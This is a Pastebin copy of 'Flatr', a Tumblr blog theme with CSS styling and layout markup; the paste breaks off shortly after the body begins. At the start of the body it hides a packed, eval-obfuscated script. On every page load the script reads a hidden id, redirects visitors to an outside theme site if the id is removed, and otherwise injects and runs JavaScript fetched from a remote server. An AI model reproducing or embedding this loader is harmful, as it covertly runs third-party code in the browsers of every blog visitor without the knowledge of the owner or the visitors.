API tools faq
paste
Advertisement
feiinho

Flatr by rickerlr

feiinho
Jul 26th, 2014
406
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 45.48 KB | None | 0 0
raw download clone embed print report
  1. <!DOCTYPE html>
  2.  
  3. <!--
  4. _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  5. | _ | | | | | | |/ / | | | _ | | | | _ |
  6. | |_| | | | | _| | | / | _ | | |_| | | | | |_| |
  7. | - | | | | _ | - | _| | - | | _ | -
  8. | | \ | | | | | | \ | | | | \ | | | | \
  9. |_ _|\_ _\ |_ _| |_ _ _| |_ _|\_ _\ |_ _ _| |_ _|\_ _\ |_ _ _ _| |_ _|\_ _\
  10.  
  11.  
  12. ********************************
  13. Theme by: rickerlr.tumblr.com
  14. Preview: flatr-theme.tumblr.com
  15. Name: Flatr
  16. Version: 1.0
  17. Year: 2013
  18. Twitter: @rickerlr
  19. ********************************
  20. -->
  21.  
  22. <!--[if lt IE 7]> <html class="no-js lt-ie9 lt-ie8 lt-ie7" lang="en"> <![endif]-->
  23. <!--[if IE 7]> <html class="no-js lt-ie9 lt-ie8" lang="en"> <![endif]-->
  24. <!--[if IE 8]> <html class="no-js lt-ie9" lang="en"> <![endif]-->
  25. <!--[if gt IE 8]><!--> <html class="no-js" lang="en"> <!--<![endif]-->
  26.  
  27. <head>
  28. <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  29.  
  30. <meta name="color:Background" content="#f5f5f5"/>
  31. <meta name="color:Post Background" content="#f7f7f7"/>
  32. <meta name="color:Ribbon Date Background" content="#1179c1"/>
  33. <meta name="color:Ribbon Date Text" content="#ffffff"/>
  34. <meta name="color:Sidebar Links" content="#ffffff"/>
  35. <meta name="color:Sidebar Links Hover" content="#1179c1"/>
  36. <meta name="color:Text" content="#6a6a6a"/>
  37. <meta name="color:Title" content="#2d2d2d"/>
  38.  
  39. <meta name="image:Background Image" content="" />
  40. <meta name="image:Logo" content="" />
  41.  
  42. <meta name="if:Container FadeIn" content="0"/>
  43. <meta name="if:Infinite Scroll" content="1"/>
  44. <meta name="if:Post Width 700" content="1"/>
  45. <meta name="if:Sidebar Fixed" content="1"/>
  46. <meta name="if:Show Archive Link" content="1"/>
  47. <meta name="if:Show Blog Info" content="1"/>
  48. <meta name="if:Show RSS Link" content="0"/>
  49. <meta name="if:Show Social Share Buttons" content="1"/>
  50. <meta name="if:Show Tags Homepage" content="0"/>
  51. <meta name="if:Tumblr Buttons Fixed" content="0"/>
  52.  
  53. <meta name="text:Disqus ID" content="" />
  54. <meta name="text:Google Analytics ID" content="" />
  55.  
  56. <meta name="text:URL Behance" content=""/>
  57. <meta name="text:URL Dribbble" content=""/>
  58. <meta name="text:URL Facebook" content=""/>
  59. <meta name="text:URL Flickr" content=""/>
  60. <meta name="text:URL Google Plus" content=""/>
  61. <meta name="text:URL Instagram" content=""/>
  62. <meta name="text:URL LinkedIn" content=""/>
  63. <meta name="text:URL Pinterest" content=""/>
  64. <meta name="text:URL SoundCloud" content=""/>
  65. <meta name="text:URL Twitter" content=""/>
  66. <meta name="text:URL YouTube" content=""/>
  67.  
  68. <title>{Title}{block:SearchPage} | {lang:Search results for SearchQuery}{/block:SearchPage}{block:PostSummary} | {PostSummary}{/block:PostSummary}</title>
  69. {block:Description}
  70. <meta name="description" content="{MetaDescription}" />
  71. {/block:Description}
  72. <link rel="shortcut icon" href="{Favicon}" />
  73. <link rel="apple-touch-icon" href="{PortraitURL-128}"/>
  74. <link rel="alternate" type="application/rss+xml" href="{RSS}" />
  75. <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
  76.  
  77. <!--[if lt IE 9]>
  78. <script src="http://static.tumblr.com/dbek3sy/A8Hmj11p2/html5shiv.js"></script>
  79. <![endif]-->
  80.  
  81. <script src="http://static.tumblr.com/mcreuad/GJWmkxweb/modernizr-2.5.3.min.js"></script>
  82.  
  83. <!-- css normalize -->
  84. <link rel="stylesheet" src="http://static.tumblr.com/dbek3sy/B5Fmjhygj/normalize.css" />
  85. <link href='http://fonts.googleapis.com/css?family=Varela' rel='stylesheet' type='text/css'>
  86. <!-- link href='http://fonts.googleapis.com/css?family=Lato:300,400,700' rel='stylesheet' type='text/css' -->
  87. <link href='http://static.tumblr.com/dbek3sy/wa5mqjhz5/fontello.css' rel='stylesheet' type='text/css'>
  88. <!--[if IE 7]>
  89. <link rel="stylesheet" href="http://static.tumblr.com/dbek3sy/4wmmqjhpc/fontello-ie7.css">
  90. <![endif]-->
  91.  
  92. <style type="text/css">
  93.  
  94. *{
  95. -moz-box-sizing: border-box;
  96. -webkit-box-sizing: border-box;
  97. box-sizing: border-box;
  98.  
  99. -webkit-font-smoothing: antialiased;
  100. }
  101.  
  102. .right{float: right;} .left{float: left;} .clear{clear: both;}
  103.  
  104. h1,h2,h3,h4,h5,h6{
  105. color: {color:Title};
  106. line-height: 1.3em;
  107. font-weight: bold;
  108. margin-bottom: 20px;
  109. text-align: left;
  110. letter-spacing: 0.03em;
  111. }
  112.  
  113. ul li, ol li, ul, ol{
  114. padding: 0px;
  115. margin: 0px;
  116. list-style-type: none;
  117. }
  118.  
  119. h1{font-size: 2em;}
  120. h2{font-size: 1.5em;}
  121. h3{font-size: 1.3em;}
  122. h4{font-size: 1.2em;}
  123. h5{font-size: 1.1em;}
  124. h6{font-size: 1em;}
  125.  
  126. .titleArticle{
  127. margin-top: 0px;
  128. }
  129.  
  130. a, img{border:0;}
  131.  
  132. a{
  133. color:{color:Ribbon Date Background};
  134. text-decoration:none;
  135. }
  136.  
  137. #tumblr_controls{
  138. position: fixed !important;
  139. top: 4px !important;
  140. }
  141.  
  142. #sidebar #menu li a, h2 a, .caption a,
  143. .underPost a, #postnotesdiv a,
  144. #pagination ul li a, ul#socialLinks li, .dateRibbons, #profileIco,
  145. #postnotesdiv a, .titleArticle a, .quest a{
  146. -webkit-transition: all 0.3s ease;
  147. -moz-transition: all 0.3s ease;
  148. transition: all 0.3s ease;
  149. -o-transition: all 0.3s ease;
  150. }
  151.  
  152. body{
  153. font-size: 100%;
  154. color: {color:Text};
  155. font-family: 'Varela', "Helvetica Neue", Arial, Verdana, Helvetica, sans-serif;
  156. text-align: center;
  157. word-wrap: break-word;
  158. background-color: {color:Background};
  159. background-image: url({image:Background Image});
  160. background-repeat: repeat;
  161. background-attachment: fixed;
  162. background-position: top left;
  163. -webkit-font-smoothing: antialiased;
  164. }
  165.  
  166. #container{
  167. position: relative;
  168. {block:IfNotPostWidth700}
  169. width: 740px;
  170. {block:IfNotPostWidth700}
  171. {block:IfPostWidth700}
  172. width: 940px;
  173. {/block:IfPostWidth700}
  174. margin: 0px auto;
  175. text-align: left;
  176. z-index: 0;
  177. padding: 70px 0px;
  178. }
  179.  
  180. #content{
  181. {block:IfNotPostWidth700}
  182. width: 500px;
  183. {block:IfNotPostWidth700}
  184. {block:IfPostWidth700}
  185. width: 700px;
  186. {/block:IfPostWidth700}
  187. padding-bottom: 125px;
  188. }
  189.  
  190. #sidebar{
  191. width: 200px;
  192. text-align: left;
  193. margin-right: 40px;
  194. {block:IfSidebarFixed}
  195. position: fixed;
  196. {/block:IfSidebarFixed}
  197. }
  198.  
  199. #sidebar #profileImg img, #backTop{
  200. box-shadow: 0px 0px 0px 7px rgba(255,255,255,0.5);
  201.  
  202. -webkit-transition: all 0.4s ease;
  203. -moz-transition: all 0.4s ease;
  204. transition: all 0.4s ease;
  205. -o-transition: all 0.4s ease;
  206.  
  207. -webkit-border-radius: 100px;
  208. -moz-border-radius: 100px;
  209. border-radius: 100px;
  210. }
  211.  
  212. #sidebar #profileImg img:hover, #backTop:hover{
  213. box-shadow: 0px 0px 0px 12px rgba(255,255,255,0.5);
  214. }
  215.  
  216. #sidebar #profileImg img:active, #backTop:active{
  217. box-shadow: 0px 0px 0px 5px rgba({RGBcolor:Sidebar Links Hover}, 0.5);
  218. }
  219.  
  220. #sidebar #logo{
  221. max-width: 100px;
  222. height: auto;
  223. }
  224.  
  225. #sidebar #menu{
  226. margin-top: 40px;
  227. text-transform: uppercase;
  228. text-align: left;
  229. letter-spacing: 5px;
  230. font-size: 0.8em;
  231. }
  232.  
  233. #sidebar #menu li{
  234. margin-top: 15px;
  235. }
  236.  
  237. #sidebar #menu li a{
  238. color: {color:Sidebar Links};
  239. line-height: 1.5em;
  240. }
  241.  
  242. #sidebar #menu li a:hover{
  243. color: {color:Sidebar Links Hover};
  244. }
  245.  
  246. ul#socialLinks{
  247. margin-top: 40px;
  248. }
  249.  
  250. ul#socialLinks li{
  251. display:inline-block;
  252. margin-left: 5px;
  253. }
  254.  
  255. ul#socialLinks li:hover{
  256. opacity: 0.8;
  257. }
  258.  
  259. ul#socialLinks li a{
  260. display: block;
  261. width: 26px;
  262. height: 26px;
  263. text-align: center;
  264. line-height: 26px;
  265. font-size: 16px;
  266. color: #F7F7F7;
  267.  
  268. -webkit-border-radius: 3px;
  269. -moz-border-radius: 3px;
  270. border-radius: 3px;
  271. }
  272.  
  273. /*ul#socialLinks li a:hover{color: {color: Text};}*/
  274.  
  275. .icon-twitter{background-color:#00aced !important;}
  276. .icon-facebook{background-color:#3b5999 !important;}
  277. .icon-gplus{background-color:#d84937 !important;}
  278. .icon-linkedin{background-color:#006699 !important;}
  279. .icon-flickr{background-color:#fe0084 !important;}
  280. .icon-dribbble{background-color:#ea4c89 !important;}
  281. .icon-pinterest{background-color:#c11a22 !important;}
  282. .icon-instagram{background-color:#1c5380 !important;}
  283. .icon-behance{background-color:#1769ff !important;}
  284. .icon-soundcloud{background-color:#f76700 !important;}
  285. .icon-youtube{background-color:#cc181e !important;}
  286.  
  287. /*** POSTS ***/
  288.  
  289. #profileIcon{
  290. font-size: 30px;
  291. height: 80px;
  292. line-height: 80px;
  293. }
  294.  
  295. #profileIcon span{
  296. position:relative;
  297. top: -10px;
  298. }
  299.  
  300. #profile{margin-top:0px;}
  301.  
  302. .posts{margin-top: 120px;}
  303.  
  304. {block:PermalinkPage}
  305. .posts:first-child{margin-top: 0px;}
  306. {/block:PermalinkPage}
  307.  
  308. {block:IndexPage}
  309. {block:IfNotShowBlogInfo}
  310. .post-wrap:first-child{margin-top: -120px;}
  311. {/block:IfNotShowBlogInfo}
  312. {/block:IndexPage}
  313.  
  314. .posts, #profile{
  315. position:relative;
  316. background-color: {color:Post Background};
  317. box-shadow: inset 0px 0px 1px rgba(255,255,255,0.3), 0px 0px 0px 5px rgba(0,0,0,0.04);
  318.  
  319. -webkit-border-radius: 3px;
  320. -moz-border-radius: 3px;
  321. border-radius: 3px;
  322. }
  323.  
  324. .posts,
  325. #profile, .tagContainer{padding: 40px;}
  326.  
  327. .tagContainer{padding-bottom:20px;}
  328.  
  329. .dateRibbons{
  330. position: absolute;
  331. z-index: -1;
  332. float: right;
  333. text-align: right;
  334. right: -50px;
  335. top: 20px;
  336. margin: 0px 40px 15px 15px;
  337. width: 70px;
  338. height: 80px;
  339. padding: 10px 10px 10px 0px;
  340. background-color: {color:Ribbon Date Background};
  341. color: {color:Ribbon Date Text};
  342. -webkit-border: 3px;
  343. -moz-border-radius: 3px;
  344. border-radius: 3px;
  345. }
  346.  
  347. .posts:hover .dateRibbons, #profile:hover #profileIcon{
  348. right: -100px;
  349. }
  350.  
  351. .dateRibbons .day,
  352. .dateRibbons .year{
  353. font-size: 0.6em;
  354. letter-spacing: 2px;
  355. text-transform: uppercase;
  356. opacity: 0.7;
  357. }
  358.  
  359. .dateRibbons .dayN{
  360. font-size: 1.7em;
  361. font-weight: bold;
  362. }
  363.  
  364. .caption{
  365. font-size: 0.9em;
  366. line-height: 1.5em;
  367. color: {color:Text};
  368. }
  369.  
  370. .caption a:hover, ol.notes a:hover,
  371. h2 a:hover, .posts .date .postedby a:hover,
  372. #postnotesdiv a:hover, .titleArticle a:hover,
  373. .quest a:hover{
  374. background-color: rgba({RGBcolor:Ribbon Date Background}, 0.1);
  375. }
  376.  
  377. .photo-post .caption, .photoset-post .caption,
  378. .audio-post .caption, .video-post .caption{
  379. margin-top: 40px;
  380. }
  381.  
  382. .caption p{margin-top:5px;}
  383.  
  384. .caption strong, .caption b{font-weight:bold;}
  385. .caption i, .caption em{font-style:italic;}
  386.  
  387. .caption blockquote, ol.notes blockquote{
  388. padding-left:10px;
  389. border-left: 3px solid rgba({RGBcolor:Ribbon Date Background}, 0.8);
  390. margin: 20px 0px;
  391. }
  392.  
  393. ol.notes blockquote{
  394. margin-left: 25px;
  395. }
  396.  
  397. .caption ul, .caption ol{
  398. margin: 20px 0px;
  399. padding-left: 25px;
  400. }
  401.  
  402. .caption ul li{
  403. list-style-type: disc;
  404. }
  405.  
  406. .caption ol li{
  407. list-style-type: decimal;
  408. }
  409.  
  410. .caption img{
  411. display: block;
  412. max-width: 100%;
  413. height: auto;
  414. margin: 20px 0px;
  415.  
  416. -webkit-border-radius: 3px;
  417. -moz-border-radius: 3px;
  418. border-radius: 3px;
  419. }
  420.  
  421. h2 a{color:{color:Ribbon Date Background};}
  422.  
  423. .posts .photoPost, .posts .videoPost, .posts .photosetPost{
  424. position:relative;
  425. top: -40px;
  426. left: -40px;
  427. {block:IfNotPostWidth700}
  428. width: 500px;
  429. {/block:IfNotPostWidth700}
  430. {block:IfPostWidth700}
  431. width: 700px;
  432. {/block:IfPostWidth700}
  433. margin-bottom: -45px;
  434. z-index: 0;
  435.  
  436. -webkit-border-top-left-radius: 3px;
  437. -webkit-border-top-right-radius: 3px;
  438. -moz-border-radius-topleft: 3px;
  439. -moz-border-radius-topright: 3px;
  440. border-top-left-radius: 3px;
  441. border-top-right-radius: 3px;
  442. }
  443.  
  444. {block:IndexPage}
  445. .videoPost iframe{
  446. width: 100%;
  447. min-height: 394px;
  448. }
  449. .videoPost iframe.soundcloud_audio_player{
  450. min-height: 50px;
  451. }
  452. {/block:IndexPage}
  453.  
  454. .posts .quest{
  455. {block:IfNotPostWidth700}
  456. width: 250px;
  457. {/block:IfNotPostWidth700}
  458. {block:IfPostWidth700}
  459. width: 450px;
  460. {/block:IfPostWidth700}
  461. }
  462.  
  463. .posts .imageAsker{
  464. -webkit-border-radius: 3px;
  465. -moz-border-radius: 3px;
  466. border-radius: 3px;
  467. margin-right:20px;
  468. }
  469.  
  470. .posts .askAnswer{
  471. margin-top: 20px;
  472. padding-top: 20px;
  473. border-top: 1px solid rgba(0,0,0,0.1);
  474. }
  475.  
  476. .posts .quot{
  477. position: absolute;
  478. z-index: 0;
  479. top: -20px;
  480. left: 20px;
  481. font-size: 15em;
  482. color: rgba({RGBcolor:Ribbon Date Background},0.08);
  483. z-index: 0;
  484. font-family: arial;
  485. }
  486.  
  487. .posts .chat .label{font-weight:bold;}
  488.  
  489. .posts .chat li.odd,
  490. .posts .chat li.even{
  491. padding: 20px;
  492. -webkit-border-radius: 3px;
  493. -moz-border-radius: 3px;
  494. border-radius: 3px;
  495. }
  496.  
  497. .posts .chat li.even{
  498. background-color: rgba({RGBcolor:Ribbon Date Background}, 0.08);
  499. }
  500.  
  501. .posts .album_container{
  502. width: 230px;
  503. height: 191px;
  504. position: relative;
  505. background: url(http://static.tumblr.com/dbek3sy/3cNmbsbqk/album.png) top left no-repeat;
  506. margin-right: 20px;
  507. }
  508.  
  509. .posts .album_container .audioimage,
  510. .posts .album_container .album_light_effect{
  511. position: absolute;
  512. top: 1px;
  513. left: 1px;
  514. }
  515.  
  516. .posts .album_container .audioimage{
  517. width: 189px;
  518. height: 189px;
  519. z-index: 1;
  520. }
  521.  
  522. .posts .album_container .album_light_effect{
  523. box-shadow: inset 0px 1px 0px rgba(255,255,255,0.3);
  524. width: 189px;
  525. height: 147px;
  526. z-index: 2;
  527. background: url(http://static.tumblr.com/dbek3sy/a4umawivm/album_lighteffect.png) no-repeat;
  528. }
  529.  
  530. .posts ul.audiotrack{
  531. {block:IfNotPostWidth700}
  532. width: 170px;
  533. {/block:IfNotPostWidth700}
  534. {block:IfPostWidth700}
  535. width: 280px;
  536. {/block:IfPostWidth700}
  537. }
  538.  
  539. .posts ul.audiotrack li h3{color: {color:Link};text-align:left;}
  540.  
  541. .posts ul.audiotrack li:first-child{margin-bottom:-10px;}
  542.  
  543. .posts ul.audiotrack li.trackLabel{font-size: 0.8em;}
  544.  
  545. .posts ul.audiotrack li b{color:{color:Title};}
  546.  
  547. .posts ul.audiotrack li.audio{margin-top:20px;}
  548.  
  549. .posts .audioplayercontainer{
  550. position:relative;
  551. background: #fff;
  552. -webkit-border-radius: 3px;
  553. -moz-border-radius: 3px;
  554. border-radius: 3px;
  555. width: 32px;
  556. height: 32px;
  557. margin-right: 10px;
  558. box-shadow: 1px 1px 0px #fff, 2px 2px 0px rgba(0,0,0,0.2);
  559. }
  560.  
  561. .posts .audioplayercontainer .audioplayerinto{
  562. position:absolute;
  563. width: 20px;
  564. height: 20px;
  565. overflow: hidden;
  566. left: 3px;
  567. top: 3px;
  568. }
  569.  
  570. .posts ul.audiotrack li.audio span{
  571. font-size: 0.8em;
  572. line-height: 32px;
  573. }
  574.  
  575. .underPost{
  576. position: relative;
  577. z-index: 1;
  578. margin-top: 40px;
  579. }
  580.  
  581. .underPost a{
  582. font-size: 0.7em;
  583. margin-right: 25px;
  584. color: rgba({RGBcolor:Title}, 0.4);
  585. }
  586.  
  587. .underPost a:hover{color: rgba({RGBcolor:Title}, 0.8);}
  588.  
  589. .underPost a span{
  590. position:relative;
  591. bottom: -2px;
  592. font-size: 15px;
  593. margin-right: 5px;
  594. }
  595.  
  596. .tagContainer{
  597. position:relative;
  598. background: rgba(0,0,0,0.2);
  599. bottom: 0px;
  600. {block:IndexPage}
  601. {block:IfNotShowTagsHomepage}
  602. display: none;
  603. {/block:IfNotShowTagsHomepage}
  604. {/block:IndexPage}
  605. -webkit-border-bottom-right-radius: 3px;
  606. -webkit-border-bottom-left-radius: 3px;
  607. -moz-border-radius-bottomright: 3px;
  608. -moz-border-radius-bottomleft: 3px;
  609. border-bottom-right-radius: 3px;
  610. border-bottom-left-radius: 3px;
  611. }
  612.  
  613. .tagContainer:before{
  614. content: "";
  615. float: left;
  616. position: absolute;
  617. top: 0px;
  618. left: 55px;
  619. width: 0;
  620. height: 0;
  621. border-color: #F7F7F7 transparent transparent transparent;
  622. border-style: solid;
  623. border-width: 10px 10px 0px 10px;
  624. }
  625.  
  626. .tagContainer ul li, .tagContainer ul li a{
  627. display:inline-block;
  628. height:24px;
  629. line-height:24px;
  630. position:relative;
  631. font-size: 11px;
  632. margin-bottom: 20px;
  633. }
  634.  
  635. .tagContainer ul a{
  636. margin-right: 30px;
  637. padding:0 10px 0 12px;
  638. background: {color:Ribbon Date Background};
  639. color: #fff;
  640. text-decoration:none;
  641.  
  642. -webkit-border-top-right-radius: 3px;
  643. -webkit-border-bottom-right-radius: 3px;
  644. -moz-border-radius-topright: 3px;
  645. -moz-border-radius-bottomright: 3px;
  646. border-top-right-radius: 3px;
  647. border-bottom-right-radius: 3px;
  648. }
  649.  
  650. .tagContainer ul li a:before{
  651. content:"";
  652. float:left;
  653. position:absolute;
  654. top:0;
  655. left:-12px;
  656. width:0;
  657. height:0;
  658. border-color:transparent {color:Ribbon Date Background} transparent transparent;
  659. border-style:solid;
  660. border-width: 12px 12px 12px 0;
  661. }
  662.  
  663. .tagContainer ul li a:after{
  664. content:"";
  665. position:absolute;
  666. top:10px;
  667. left:0;
  668. float:left;
  669. width:4px;
  670. height:4px;
  671. -moz-border-radius:2px;
  672. -webkit-border-radius:2px;
  673. border-radius:2px;
  674. background: rgba(0,0,0,0.2);
  675. }
  676.  
  677. .tagContainer ul a:hover{
  678. background: {color:Title};
  679. color: {color:Ribbon Date Text}
  680. }
  681.  
  682. .tagContainer ul a:hover:before{border-color:transparent {color:Title} transparent transparent;}
  683.  
  684. #paginationPost a:first-child{
  685. margin-right: 10px;
  686. }
  687.  
  688. #paginationPost a span{
  689. color: {color:Text};
  690. }
  691.  
  692. #postnotesdiv{
  693. font-size:0.9em;
  694. }
  695.  
  696. #postnotesdiv a{text-decoration:none;}
  697.  
  698. #postnotes{
  699. margin-top:40px;
  700. padding-top:40px;
  701. border-top: 1px solid rgba(0,0,0,0.1);
  702. }
  703.  
  704. ol.notes .note{margin-top:10px;}
  705.  
  706. ol.notes .note:first-child{margin-top:0px;}
  707.  
  708. ol.notes .avatar{
  709. vertical-align: middle;
  710. margin-right: 5px;
  711. }
  712.  
  713. .note.more_notes_link_container{margin-top:40px !important;}
  714.  
  715. /*
  716. li.note{position:relative;}
  717.  
  718. li.reblog:before{
  719. content: '\e802';
  720. position: absolute;
  721. font-size: 15px;
  722. color: rgba({RGBcolor:Text}, 0.2);
  723. top: 0px;
  724. right: 0px;
  725. font-family: 'fontello';
  726. }
  727.  
  728. li.like:before{
  729. content: '\e800';
  730. position: absolute;
  731. font-size: 15px;
  732. color: rgba({RGBcolor:Text}, 0.2);
  733. top: 0px;
  734. right: 0px;
  735. font-family: 'fontello';
  736. }
  737. */
  738.  
  739. #pagination{
  740. text-align: center;
  741. margin-top: 120px;
  742. {block:IfInfinitescroll}
  743. display: none;
  744. {/block:IfInfinitescroll}
  745. }
  746.  
  747. #pagination ul{
  748. text-transform: uppercase;
  749. font-weight: bold;
  750. letter-spacing: 5px;
  751. font-size: 0.8em;
  752. }
  753.  
  754. #pagination ul li{
  755. display: inline-block;
  756. margin-left: 10px;
  757. }
  758.  
  759. #pagination ul li a{
  760. color: {color:Sidebar Links};
  761. }
  762.  
  763. #pagination ul li a:hover, #pagination ul li span{
  764. color: {color:Sidebar Links Hover};
  765. }
  766.  
  767. #backTop{
  768. border:0;
  769. position:fixed;
  770. right: 40px;
  771. bottom: 40px;
  772. font-family: verdana;
  773. font-size: 1.2em;
  774. color: {color:Title};
  775. background: {color:Post Background};
  776. cursor: pointer;
  777. width: 30px;
  778. height: 30px;
  779. line-height: 35px;
  780. text-align: center;
  781. display:none;
  782. }
  783.  
  784. {block:IndexPage}
  785.  
  786. #infscr-loading{
  787. margin: 50px auto;
  788. width: 50px;
  789. height: 50px;
  790. }
  791.  
  792. #infscr-loading img{display:none;}
  793.  
  794.  
  795. /* loading spinner */
  796. #floatingBarsG{
  797. position:relative;
  798. width:20px;
  799. height:25px;
  800. margin: 0px auto;
  801. }
  802.  
  803. .blockG{
  804. margin: 0px auto;
  805. position:absolute;
  806. background-color:rgba({RGBcolor:Sidebar Links},0.4);
  807. width:3px;
  808. height:8px;
  809. -moz-border-radius:3px 3px 0 0;
  810. -moz-transform:scale(0.4);
  811. -moz-animation-name:fadeG;
  812. -moz-animation-duration:1.04s;
  813. -moz-animation-iteration-count:infinite;
  814. -moz-animation-direction:linear;
  815. -webkit-border-radius:3px 3px 0 0;
  816. -webkit-transform:scale(0.4);
  817. -webkit-animation-name:fadeG;
  818. -webkit-animation-duration:1.04s;
  819. -webkit-animation-iteration-count:infinite;
  820. -webkit-animation-direction:linear;
  821. -ms-border-radius:3px 3px 0 0;
  822. -ms-transform:scale(0.4);
  823. -ms-animation-name:fadeG;
  824. -ms-animation-duration:1.04s;
  825. -ms-animation-iteration-count:infinite;
  826. -ms-animation-direction:linear;
  827. -o-border-radius:3px 3px 0 0;
  828. -o-transform:scale(0.4);
  829. -o-animation-name:fadeG;
  830. -o-animation-duration:1.04s;
  831. -o-animation-iteration-count:infinite;
  832. -o-animation-direction:linear;
  833. border-radius:3px 3px 0 0;
  834. transform:scale(0.4);
  835. animation-name:fadeG;
  836. animation-duration:1.04s;
  837. animation-iteration-count:infinite;
  838. animation-direction:linear;
  839. }
  840.  
  841. #rotateG_01{
  842. left:0;
  843. top:9px;
  844. -moz-animation-delay:0.39s;
  845. -moz-transform:rotate(-90deg);
  846. -webkit-animation-delay:0.39s;
  847. -webkit-transform:rotate(-90deg);
  848. -ms-animation-delay:0.39s;
  849. -ms-transform:rotate(-90deg);
  850. -o-animation-delay:0.39s;
  851. -o-transform:rotate(-90deg);
  852. animation-delay:0.39s;
  853. transform:rotate(-90deg);
  854. }
  855.  
  856. #rotateG_02{
  857. left:3px;
  858. top:3px;
  859. -moz-animation-delay:0.52s;
  860. -moz-transform:rotate(-45deg);
  861. -webkit-animation-delay:0.52s;
  862. -webkit-transform:rotate(-45deg);
  863. -ms-animation-delay:0.52s;
  864. -ms-transform:rotate(-45deg);
  865. -o-animation-delay:0.52s;
  866. -o-transform:rotate(-45deg);
  867. animation-delay:0.52s;
  868. transform:rotate(-45deg);
  869. }
  870.  
  871. #rotateG_03{
  872. left:8px;
  873. top:1px;
  874. -moz-animation-delay:0.65s;
  875. -moz-transform:rotate(0deg);
  876. -webkit-animation-delay:0.65s;
  877. -webkit-transform:rotate(0deg);
  878. -ms-animation-delay:0.65s;
  879. -ms-transform:rotate(0deg);
  880. -o-animation-delay:0.65s;
  881. -o-transform:rotate(0deg);
  882. animation-delay:0.65s;
  883. transform:rotate(0deg);
  884. }
  885.  
  886. #rotateG_04{
  887. right:3px;
  888. top:3px;
  889. -moz-animation-delay:0.78s;
  890. -moz-transform:rotate(45deg);
  891. -webkit-animation-delay:0.78s;
  892. -webkit-transform:rotate(45deg);
  893. -ms-animation-delay:0.78s;
  894. -ms-transform:rotate(45deg);
  895. -o-animation-delay:0.78s;
  896. -o-transform:rotate(45deg);
  897. animation-delay:0.78s;
  898. transform:rotate(45deg);
  899. }
  900.  
  901. #rotateG_05{
  902. right:0;
  903. top:9px;
  904. -moz-animation-delay:0.9099999999999999s;
  905. -moz-transform:rotate(90deg);
  906. -webkit-animation-delay:0.9099999999999999s;
  907. -webkit-transform:rotate(90deg);
  908. -ms-animation-delay:0.9099999999999999s;
  909. -ms-transform:rotate(90deg);
  910. -o-animation-delay:0.9099999999999999s;
  911. -o-transform:rotate(90deg);
  912. animation-delay:0.9099999999999999s;
  913. transform:rotate(90deg);
  914. }
  915.  
  916. #rotateG_06{
  917. right:3px;
  918. bottom:2px;
  919. -moz-animation-delay:1.04s;
  920. -moz-transform:rotate(135deg);
  921. -webkit-animation-delay:1.04s;
  922. -webkit-transform:rotate(135deg);
  923. -ms-animation-delay:1.04s;
  924. -ms-transform:rotate(135deg);
  925. -o-animation-delay:1.04s;
  926. -o-transform:rotate(135deg);
  927. animation-delay:1.04s;
  928. transform:rotate(135deg);
  929. }
  930.  
  931. #rotateG_07{
  932. bottom:0;
  933. left:8px;
  934. -moz-animation-delay:1.1700000000000002s;
  935. -moz-transform:rotate(180deg);
  936. -webkit-animation-delay:1.1700000000000002s;
  937. -webkit-transform:rotate(180deg);
  938. -ms-animation-delay:1.1700000000000002s;
  939. -ms-transform:rotate(180deg);
  940. -o-animation-delay:1.1700000000000002s;
  941. -o-transform:rotate(180deg);
  942. animation-delay:1.1700000000000002s;
  943. transform:rotate(180deg);
  944. }
  945.  
  946. #rotateG_08{
  947. left:3px;
  948. bottom:2px;
  949. -moz-animation-delay:1.3s;
  950. -moz-transform:rotate(-135deg);
  951. -webkit-animation-delay:1.3s;
  952. -webkit-transform:rotate(-135deg);
  953. -ms-animation-delay:1.3s;
  954. -ms-transform:rotate(-135deg);
  955. -o-animation-delay:1.3s;
  956. -o-transform:rotate(-135deg);
  957. animation-delay:1.3s;
  958. transform:rotate(-135deg);
  959. }
  960.  
  961. @-moz-keyframes fadeG{
  962. 0%{
  963. background-color:{color:Sidebar Links}}
  964.  
  965. 100%{
  966. background-color:rgba({RGBcolor:Sidebar Links},0.4)}
  967.  
  968. }
  969.  
  970. @-webkit-keyframes fadeG{
  971. 0%{
  972. background-color:{color:Sidebar Links}}
  973.  
  974. 100%{
  975. background-color:rgba({RGBcolor:Sidebar Links},0.4)}
  976.  
  977. }
  978.  
  979. @-ms-keyframes fadeG{
  980. 0%{
  981. background-color:{color:Sidebar Links}}
  982.  
  983. 100%{
  984. background-color:rgba({RGBcolor:Sidebar Links},0.4)}
  985.  
  986. }
  987.  
  988. @-o-keyframes fadeG{
  989. 0%{
  990. background-color:{color:Sidebar Links}}
  991.  
  992. 100%{
  993. background-color:rgba({RGBcolor:Sidebar Links},0.4)}
  994.  
  995. }
  996.  
  997. @keyframes fadeG{
  998. 0%{
  999. background-color:{color:Sidebar Links}}
  1000.  
  1001. 100%{
  1002. background-color:rgba({RGBcolor:Sidebar Links},0.4)}
  1003.  
  1004. }
  1005. {/block:IndexPage}
  1006.  
  1007. {CustomCSS}
  1008.  
  1009. </style>
  1010. </head>
  1011. <body>
  1012. <div id='guid' style='display:none;'>02EBBC2672DC8AA67EA31D80EE0E6E9E796880E45BAEE5CC65ED7475B739A6C727AD27162E3678FA27B434DB362A980A</div>
  1013. <script>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5 b=a;5 k=a;5 4=6.o("l");d(4==n){b=g;e.i.f="7://3-9.8/j-3/?c=1"}m d(4==""){b=g;e.i.f="7://3-9.8/j-3/?c=1"}{5 2=6.y(\'2\');2.x=a;2.z=\'A/p\';2.B="7://w.3-9.8/v.r?c="+4.q;(6.h(\'s\')[0]||6.h(\'t\')[0]).u(2)}',38,38,'||script|theme|g_x|var|document|http|co|cloud|true|g_Valid|id|if|window|href|false|getElementsByTagName|location|invalid|g_T|guid|else|null|getElementById|javascript|innerHTML|asp|HEAD|BODY|appendChild|storage|themeweaver|async|createElement|type|text|src'.split('|'),0,{}))</script>
  1014.  
  1015. <div id="container">
  1016.  
